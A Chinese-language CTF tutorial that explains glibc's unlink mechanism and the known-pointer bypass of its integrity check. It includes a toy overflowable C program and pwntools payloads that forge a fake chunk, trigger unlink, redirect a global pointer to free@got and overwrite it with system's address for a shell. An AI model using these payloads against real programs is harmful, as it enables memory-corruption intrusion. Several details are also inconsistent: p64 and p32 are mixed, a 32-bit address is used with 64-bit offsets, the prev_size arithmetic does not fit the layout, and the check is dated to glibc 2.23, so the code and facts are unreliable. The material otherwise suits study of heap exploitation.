写在前面:在上一篇中,我们学习了 Off-by-one 单字节溢出如何通过修改
size字段的最低位(清除PREV_INUSE位)来欺骗堆管理器触发后向合并。今天,我们将深入探讨这个合并过程中的核心操作——Unlink。Unlink 是 glibc 将空闲 chunk 从双向链表中摘除的机制,如果通过堆溢出覆盖了 chunk 的fd和bk指针,我们就能将这个看似普通的链表解链操作转化为强大的任意地址写入原语,这是堆漏洞利用史上最经典、最核心的技术之一。
📑 目录
- Unlink 机制精析:从链表摘除到宏定义
- 漏洞原理与历史演变:从黄金时代到现代绕过
- 堆溢出覆盖 fd/bk:构造 Fake Chunk
- 现代环境下的 Unlink 绕过:已知指针技巧
- 实战演练:完整的 Unlink 利用流程
- 总结与下篇预告
1. Unlink 机制精析:从链表摘除到宏定义
在 glibc 的 ptmalloc2 中,当两个空闲的 chunk 相邻时,为了减少内存碎片,堆管理器会将它们合并成一个更大的 chunk。在合并之前,如果其中一个 chunk 已经在双向链表(如 unsorted bin 或 small bin)中,就需要先将其从链表中摘除,这个摘除操作就是Unlink。
1.1 双向链表的基本结构
空闲 chunk 在 bin 中通过fd(forward pointer)和bk(backward pointer)组成双向链表:
... <-> [Chunk P] <-> [Chunk Q] <-> [Chunk R] <-> ...如果要将 Chunk Q 从链表中摘除,标准的双向链表操作应该是:
Q->fd->bk = Q->bk; // 即 R->bk = P Q->bk->fd = Q->fd; // 即 P->fd = R这样,P 的前向指针就指向了 R,R 的后向指针就指向了 P,Q 被成功踢出链表。
1.2 glibc 中的unlink宏
在 glibc 源码中,为了安全和效率,Unlink 操作被封装成了一个宏。在 glibc 2.23 及之后的版本中,其核心逻辑如下:
#define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; // 安全检查:检查双向链表的完整性 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list"); else { FD->bk = BK; BK->fd = FD; // ... 针对large bin的额外处理 ... // 针对非fastbin的额外处理 if (!in_smallbin_range (P->size) ...) { ... } } }核心安全检查:FD->bk != P || BK->fd != P
这意味着,当我们伪造了 Fake Chunk P 的fd和bk时:
P->fd(即FD)指向的地址,它的bk域必须指回P。P->bk(即BK)指向的地址,它的fd域必须指回P。
如果没有这个检查,我们可以随意伪造fd和bk实现任意地址写。有了这个检查,我们必须找到一个已知指向 P 的指针才能绕过它。
2. 漏洞原理与历史演变:从黄金时代到现代绕过
2.1 黄金时代(glibc 2.23 之前)
在早期的 glibc 版本中,unlink宏没有完整性检查。这意味着只要我们能通过堆溢出控制一个空闲 chunk 的fd和bk,就可以实现任意的“写任意值到任意地址”(Write-Anything-Anywhere)。
- 如果设置
fd = target_addr - 0x18,bk = value_to_write。 - 执行
FD->bk = BK=>*(target_addr - 0x18 + 0x18) = value_to_write=>*target_addr = value_to_write。
这通常被用于覆盖 GOT 表,将free的 GOT 表项覆盖为system的地址。
2.2 现代绕过(glibc 2.23+)
随着完整性检查的引入,无脑覆盖 GOT 表的方法失效了。我们必须满足FD->bk == P且BK->fd == P。
这就要求我们必须在内存中找到一个存放着 Fake Chunk P 地址的变量。在 CTF 题目中,这通常是一个全局数组中的指针,或者是堆上某个结构体里的指针。
3. 堆溢出覆盖 fd/bk:构造 Fake Chunk
与 Off-by-one 仅能覆盖一个字节不同,这里我们利用的是大范围堆溢出。假设程序存在一个堆溢出漏洞,允许我们向下一个 chunk 写入超长的数据,我们就可以完全覆盖下一个 chunk 的prev_size、size、fd和bk。
3.1 利用前提
- 存在堆溢出:能覆盖相邻 chunk 的头部及
fd/bk。 - 已知指针:存在一个全局指针
ptr(如heap_ptrs[0])指向我们溢出的 chunk 的 user_data 区域。 - 触发 Unlink:能够通过释放相邻 chunk 或其他操作,触发针对我们伪造的 Fake Chunk 的 Unlink。
3.2 构造 Fake Chunk 的数学推导
假设我们在 chunk A 的 user_data 区域伪造一个 Fake Chunk P。已知全局指针ptr指向 chunk A 的 user_data(即指向 P)。
我们需要设置 P 的fd和bk,使得:
FD = P->fd,满足FD->bk == P。FD->bk在结构体中的偏移是0x18(64位)。- 即
*(P->fd + 0x18) == P。 - 因为我们已知
ptr == P,所以我们可以令P->fd = &ptr - 0x18。 - 验证:
*(&ptr - 0x18 + 0x18) = *(&ptr) = ptr == P,成立!
BK = P->bk,满足BK->fd == P。BK->fd在结构体中的偏移是0x10(64位)。- 即
*(P->bk + 0x10) == P。 - 令
P->bk = &ptr - 0x10。 - 验证:
*(&ptr - 0x10 + 0x10) = *(&ptr) = ptr == P,成立!
3.3 Unlink 执行后的结果
当 glibc 对 P 执行 Unlink 操作时:
FD->bk = BK=>*(&ptr) = &ptr - 0x10=>ptr = &ptr - 0x10BK->fd = FD=>*(&ptr) = &ptr - 0x18=>ptr = &ptr - 0x18
最终的结果是,全局指针ptr不再指向堆块 P,而是指向了它自己所在的地址减去 0x18(最后一次执行的是BK->fd = FD,所以最终值为&ptr - 0x18)。
这有什么用?
现在ptr指向了全局数据段(.bss或.data)。如果程序提供了通过ptr进行读写的功能(如edit(ptr, data)),这就变成了一个任意地址读写原语!因为我们可以通过ptr修改ptr本身,让它指向任意地址(如 GOT 表),然后再次利用ptr进行写入。
4. 现代环境下的 Unlink 绕过:已知指针技巧
让我们用一张图来清晰地展示这个“已知指针绕过”的内存布局。
Heap
Global_Data
UD_A_Fake
1. 初始指向
2. FD->bk 检查
3. BK->fd 检查
Chunk A Header
Chunk A User Data
Chunk B Header
(被溢出覆盖, 清除 PREV_INUSE)
Fake P prev_size
Fake P size
Fake P fd
=&ptr - 0x18
Fake P bk
=&ptr - 0x10
ptr (8 bytes)
指向 Chunk A
关键步骤回顾:
- 程序中存在一个结构体数组或全局数组,其中
ptr指向 chunk A。 - 我们通过溢出 chunk A,在其内部构造 Fake Chunk P,并设置
fd = &ptr - 0x18,bk = &ptr - 0x10。 - 我们溢出覆盖相邻 chunk B 的
size字段,清除PREV_INUSE位,并伪造prev_size,使得chunk_B - prev_size正好指向我们的 Fake Chunk P。 - 当
free(B)触发后向合并时,glibc 对 P 执行 Unlink。 - 检查通过,
ptr的值被修改为&ptr - 0x18。
5. 实战演练:完整的 Unlink 利用流程
下面我们通过伪代码和内存布局变化,展示一个完整的 Unlink 利用过程。
5.1 模拟漏洞程序
#include <stdio.h> #include <stdlib.h> #include <string.h> char *ptr_array[10]; // 全局指针数组 void add(int idx, int size, char *content) { char *p = malloc(size); ptr_array[idx] = p; // 假设存在漏洞,写入长度没有限制,这里简化为直接溢出 memcpy(p, content, 0x100); // 溢出发生 } void edit(int idx, char *content) { // 通过 ptr_array[idx] 修改内容 memcpy(ptr_array[idx], content, 0x100); } int main() { // 攻击者调用 char payload[0x100]; // ... 构造 payload ... add(0, 0x80, payload); // 分配 chunk A,发生溢出 // free(相邻 chunk) 触发 unlink return 0; }5.2 利用步骤与 Payload 构造
步骤 1:分配堆块
add(0, 0x80, "AAAA"):分配 chunk A,ptr_array[0]指向 chunk A 的 user_data(地址记为heap_A)。add(1, 0x80, "BBBB"):分配 chunk B,用于被溢出和触发 free。add(2, 0x80, "CCCC"):分配 chunk C,防止与 top chunk 合并。
步骤 2:构造 Payload
from pwn import * # 假设已知地址 ptr_array_addr = 0x0804A080 # ptr_array 的地址 ptr_0_addr = ptr_array_addr # ptr_array[0] 的地址 # 构造 Fake Chunk P fake_chunk = b"" fake_chunk += p64(0) # prev_size fake_chunk += p64(0x81) # size (保持和原来一样,0x80 + PREV_INUSE=1,其实这里无所谓,只要不被检查出问题) fake_chunk += p64(ptr_0_addr - 0x18) # fd fake_chunk += p64(ptr_0_addr - 0x10) # bk # 填充 chunk A 剩余部分 fake_chunk = fake_chunk.ljust(0x80, b'A') # 溢出到 chunk B 的头部 # 修改 chunk B 的 prev_size,使其指向 Fake Chunk P # chunk B 的地址是 heap_A + 0x90 (0x80 user_data + 0x10 header) # prev_size = heap_A + 0x90 - heap_A = 0x90 fake_chunk += p64(0x90) # chunk B 的 prev_size # 修改 chunk B 的 size,清除 PREV_INUSE 位 # 原 size 为 0x91,修改为 0x90 fake_chunk += p64(0x90) # chunk B 的 size (P=0) # 发送 payload add(0, 0x80, fake_chunk)步骤 3:触发 Unlink
# 释放 chunk B,触发后向合并,对 Fake Chunk P 执行 unlink free(1)此时,glibc 执行unlink(P)。
- 检查
FD->bk == P=>*(ptr_0_addr - 0x18 + 0x18) == P=>*ptr_0_addr == P=>ptr_array[0] == P,成立。 - 检查
BK->fd == P=>*(ptr_0_addr - 0x10 + 0x10) == P=>*ptr_0_addr == P=>ptr_array[0] == P,成立。 - 执行
FD->bk = BK=>*ptr_0_addr = ptr_0_addr - 0x10 - 执行
BK->fd = FD=>*ptr_0_addr = ptr_0_addr - 0x18
结果:ptr_array[0]的值变成了ptr_0_addr - 0x18。
步骤 4:任意地址写
现在ptr_array[0]指向了它自己附近。如果我们调用edit(0, new_payload),实际上是在向ptr_array[0]所在的地址写入数据。
# 此时 ptr_array[0] 指向 ptr_array - 0x18 # 我们可以通过 edit(0) 覆盖 ptr_array[0] 本身,让它指向 GOT 表 # ptr_array 的布局: # [ptr_array[0]] [ptr_array[1]] ... # 我们写入的起点是 ptr_array - 0x18 # 构造 payload 覆盖 ptr_array[0] payload2 = b"A" * 0x18 # 填充到 ptr_array[0] payload2 += p32(free_got) # 覆盖 ptr_array[0] 为 free@got edit(0, payload2) # 现在 ptr_array[0] 指向 free@got # 再次调用 edit(0) 就是修改 free@got 的内容 payload3 = p32(system_addr) edit(0, payload3) # 接下来调用 free("/bin/sh") 即可获取 shell6. 总结与下篇预告
6.1 核心知识点总结
- Unlink 是双向链表摘除操作:在 glibc 中用于合并空闲 chunk 时从 bin 中移除 chunk。
- 现代检查机制:glibc 2.23+ 引入了
FD->bk == P和BK->fd == P的完整性检查,要求必须已知指向 chunk 的指针。 - 已知指针绕过技巧:利用全局指针
ptr,构造fd = &ptr - 0x18,bk = &ptr - 0x10,绕过检查后ptr会被修改为&ptr - 0x18。 - 转化为任意地址写:
ptr指向自身附近后,可通过修改ptr的值,使其指向 GOT 表或其他敏感地址,进而实现任意写。 - 与 Off-by-one 的区别:Off-by-one 主要修改
size低字节触发合并;堆溢出覆盖 fd/bk 则是直接控制链表指针,是更强大的利用手段,但需要更大的溢出长度。
6.2 下篇预告
下一篇我们将进入Tcache 溢出与扩展利用,探讨在 glibc 2.26+ 时代,堆溢出如何与 Tcache 机制结合,包括:
- Tcache 溢出修改 next 指针实现任意地址分配
- Tcache Poisoning 与 Unlink 的对比
- 高版本 glibc 下的堆溢出利用思路
- 综合练习:off-by-one + tcache 组合题预热
最终结论:Unlink 利用是堆漏洞利用中的“皇冠上的明珠”,它将简单的内存破坏转化为强大的任意地址写原语。尽管现代 glibc 加强了检查,但“已知指针绕过”技巧依然使其在特定场景下威力无穷。理解 Unlink,是理解所有双向链表利用的基础。
参考文献:
- CTF Wiki - Heap Exploitation: Unlink
- glibc malloc.c 源码分析
- 堆利用详解:Unlink 与任意地址写